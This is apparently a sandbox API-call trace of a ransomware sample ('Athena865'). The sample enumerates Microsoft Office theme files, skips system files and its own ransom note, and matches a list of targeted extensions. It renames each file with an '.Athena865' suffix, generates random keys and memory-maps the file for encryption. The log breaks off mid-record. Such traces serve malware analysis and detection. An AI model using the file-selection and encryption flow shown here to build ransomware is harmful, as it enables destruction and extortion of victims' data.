[0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="temp") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="pagefile.sys") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="boot") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ids.txt") returned -1 [0136.039] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat") returned -1 [0136.040] lstrcmpiW (lpString1="Adjacency.xml", lpString2="perflogs") returned -1 [0136.040] lstrcmpiW (lpString1="Adjacency.xml", lpString2="MSBuild") returned -1 [0136.040] lstrlenW (lpString="Adjacency.xml") returned 13 [0136.040] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Adjacency.xml" | out: lpString1="Adjacency.xml") returned="Adjacency.xml" [0136.040] lstrlenW (lpString="Adjacency.xml") returned 13 [0136.040] lstrlenW (lpString="Athena865") returned 9 [0136.040] lstrcmpiW (lpString1="cency.xml", lpString2="Athena865") returned 1 [0136.040] lstrlenW (lpString=".dll") returned 4 [0136.040] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".dll") returned 1 [0136.040] lstrlenW (lpString=".lnk") returned 4 [0136.040] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".lnk") returned 1 [0136.040] lstrlenW (lpString=".ini") returned 4 [0136.040] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".ini") returned 1 [0136.040] lstrlenW (lpString=".sys") returned 4 [0136.040] lstrcmpiW (lpString1="Adjacency.xml", lpString2=".sys") returned 1 [0136.040] lstrlenW (lpString="Adjacency.xml") returned 13 [0136.040] lstrlenW (lpString="bak") returned 3 [0136.040] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.040] lstrlenW (lpString="ba_") returned 3 [0136.040] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.040] lstrlenW (lpString="dbb") returned 3 [0136.040] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.040] lstrlenW (lpString="vmdk") returned 4 [0136.040] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.040] lstrlenW (lpString="rar") returned 3 [0136.040] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.041] lstrlenW (lpString="zip") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.041] lstrlenW (lpString="tgz") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.041] lstrlenW (lpString="vbox") returned 4 [0136.041] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.041] lstrlenW (lpString="vdi") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.041] lstrlenW (lpString="vhd") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.041] lstrlenW (lpString="vhdx") returned 4 [0136.041] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.041] lstrlenW (lpString="avhd") returned 4 [0136.041] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.041] lstrlenW (lpString="db") returned 2 [0136.041] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.041] lstrlenW (lpString="db2") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.041] lstrlenW (lpString="db3") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.041] lstrlenW (lpString="dbf") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.041] lstrlenW (lpString="mdf") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.041] lstrlenW (lpString="mdb") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.041] lstrlenW (lpString="sql") returned 3 [0136.041] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.042] lstrlenW (lpString="sqlite") returned 6 [0136.042] lstrcmpiW (lpString1="cy.xml", lpString2="sqlite") returned -1 [0136.042] lstrlenW (lpString="sqlite3") returned 7 [0136.042] lstrcmpiW (lpString1="ncy.xml", lpString2="sqlite3") returned -1 [0136.042] lstrlenW (lpString="sqlitedb") returned 8 [0136.042] lstrcmpiW (lpString1="ency.xml", lpString2="sqlitedb") returned -1 [0136.042] lstrlenW (lpString="xml") returned 3 [0136.042] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.042] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.Athena865") returned 89 [0136.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.athena865"), dwFlags=0x1) returned 1 [0136.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.044] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=928) returned 1 [0136.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.044] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.045] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.045] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.045] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.049] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.051] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.051] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.052] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.052] CloseHandle (hObject=0x17c) returned 1 [0136.052] CloseHandle (hObject=0x154) returned 1 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.053] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2=".") returned 1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="..") returned 1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="windows") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="temp") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="pagefile.sys") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="boot") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="ids.txt") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="perflogs") returned -1 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2="MSBuild") returned -1 [0136.053] lstrlenW (lpString="Angles.xml") returned 10 [0136.053] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Angles.xml" | out: lpString1="Angles.xml") returned="Angles.xml" [0136.053] lstrlenW (lpString="Angles.xml") returned 10 [0136.053] lstrlenW (lpString="Athena865") returned 9 [0136.053] lstrcmpiW (lpString1="ngles.xml", lpString2="Athena865") returned 1 [0136.053] lstrlenW (lpString=".dll") returned 4 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2=".dll") returned 1 [0136.053] lstrlenW (lpString=".lnk") returned 4 [0136.053] lstrcmpiW (lpString1="Angles.xml", lpString2=".lnk") returned 1 [0136.053] lstrlenW (lpString=".ini") returned 4 [0136.054] lstrcmpiW (lpString1="Angles.xml", lpString2=".ini") returned 1 [0136.054] lstrlenW (lpString=".sys") returned 4 [0136.054] lstrcmpiW (lpString1="Angles.xml", lpString2=".sys") returned 1 [0136.054] lstrlenW (lpString="Angles.xml") returned 10 [0136.054] lstrlenW (lpString="bak") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.054] lstrlenW (lpString="ba_") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.054] lstrlenW (lpString="dbb") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.054] lstrlenW (lpString="vmdk") returned 4 [0136.054] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.054] lstrlenW (lpString="rar") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.054] lstrlenW (lpString="zip") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.054] lstrlenW (lpString="tgz") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.054] lstrlenW (lpString="vbox") returned 4 [0136.054] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.054] lstrlenW (lpString="vdi") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.054] lstrlenW (lpString="vhd") returned 3 [0136.054] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.054] lstrlenW (lpString="vhdx") returned 4 [0136.054] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.054] lstrlenW (lpString="avhd") returned 4 [0136.055] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.055] lstrlenW (lpString="db") returned 2 [0136.055] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.055] lstrlenW (lpString="db2") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.055] lstrlenW (lpString="db3") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.055] lstrlenW (lpString="dbf") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.055] lstrlenW (lpString="mdf") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.055] lstrlenW (lpString="mdb") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.055] lstrlenW (lpString="sql") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.055] lstrlenW (lpString="sqlite") returned 6 [0136.055] lstrcmpiW (lpString1="es.xml", lpString2="sqlite") returned -1 [0136.055] lstrlenW (lpString="sqlite3") returned 7 [0136.055] lstrcmpiW (lpString1="les.xml", lpString2="sqlite3") returned -1 [0136.055] lstrlenW (lpString="sqlitedb") returned 8 [0136.055] lstrcmpiW (lpString1="gles.xml", lpString2="sqlitedb") returned -1 [0136.055] lstrlenW (lpString="xml") returned 3 [0136.055] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.055] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.Athena865") returned 86 [0136.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.athena865"), dwFlags=0x1) returned 1 [0136.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.057] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=925) returned 1 [0136.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.058] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.058] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.058] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.061] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.062] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.062] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.062] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.063] CloseHandle (hObject=0x17c) returned 1 [0136.063] CloseHandle (hObject=0x154) returned 1 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.064] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2=".") returned 1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="..") returned 1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="windows") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="temp") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="pagefile.sys") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="boot") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="ids.txt") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="perflogs") returned -1 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2="MSBuild") returned -1 [0136.064] lstrlenW (lpString="Apex.xml") returned 8 [0136.064] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Apex.xml" | out: lpString1="Apex.xml") returned="Apex.xml" [0136.064] lstrlenW (lpString="Apex.xml") returned 8 [0136.064] lstrlenW (lpString="Athena865") returned 9 [0136.064] lstrlenW (lpString=".dll") returned 4 [0136.064] lstrcmpiW (lpString1="Apex.xml", lpString2=".dll") returned 1 [0136.064] lstrlenW (lpString=".lnk") returned 4 [0136.065] lstrcmpiW (lpString1="Apex.xml", lpString2=".lnk") returned 1 [0136.065] lstrlenW (lpString=".ini") returned 4 [0136.065] lstrcmpiW (lpString1="Apex.xml", lpString2=".ini") returned 1 [0136.065] lstrlenW (lpString=".sys") returned 4 [0136.065] lstrcmpiW (lpString1="Apex.xml", lpString2=".sys") returned 1 [0136.065] lstrlenW (lpString="Apex.xml") returned 8 [0136.065] lstrlenW (lpString="bak") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.065] lstrlenW (lpString="ba_") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.065] lstrlenW (lpString="dbb") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.065] lstrlenW (lpString="vmdk") returned 4 [0136.065] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.065] lstrlenW (lpString="rar") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.065] lstrlenW (lpString="zip") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.065] lstrlenW (lpString="tgz") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.065] lstrlenW (lpString="vbox") returned 4 [0136.065] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.065] lstrlenW (lpString="vdi") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.065] lstrlenW (lpString="vhd") returned 3 [0136.065] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.066] lstrlenW (lpString="vhdx") returned 4 [0136.066] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.066] lstrlenW (lpString="avhd") returned 4 [0136.066] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.066] lstrlenW (lpString="db") returned 2 [0136.066] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.066] lstrlenW (lpString="db2") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.066] lstrlenW (lpString="db3") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.066] lstrlenW (lpString="dbf") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.066] lstrlenW (lpString="mdf") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.066] lstrlenW (lpString="mdb") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.066] lstrlenW (lpString="sql") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.066] lstrlenW (lpString="sqlite") returned 6 [0136.066] lstrcmpiW (lpString1="ex.xml", lpString2="sqlite") returned -1 [0136.066] lstrlenW (lpString="sqlite3") returned 7 [0136.066] lstrcmpiW (lpString1="pex.xml", lpString2="sqlite3") returned -1 [0136.066] lstrlenW (lpString="sqlitedb") returned 8 [0136.066] lstrlenW (lpString="xml") returned 3 [0136.066] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.066] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.Athena865") returned 84 [0136.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.athena865"), dwFlags=0x1) returned 1 [0136.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.073] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=959) returned 1 [0136.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.079] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.087] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.087] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.087] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.088] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.089] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.090] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.090] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.090] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.091] CloseHandle (hObject=0x17c) returned 1 [0136.091] CloseHandle (hObject=0x154) returned 1 [0136.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.091] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, 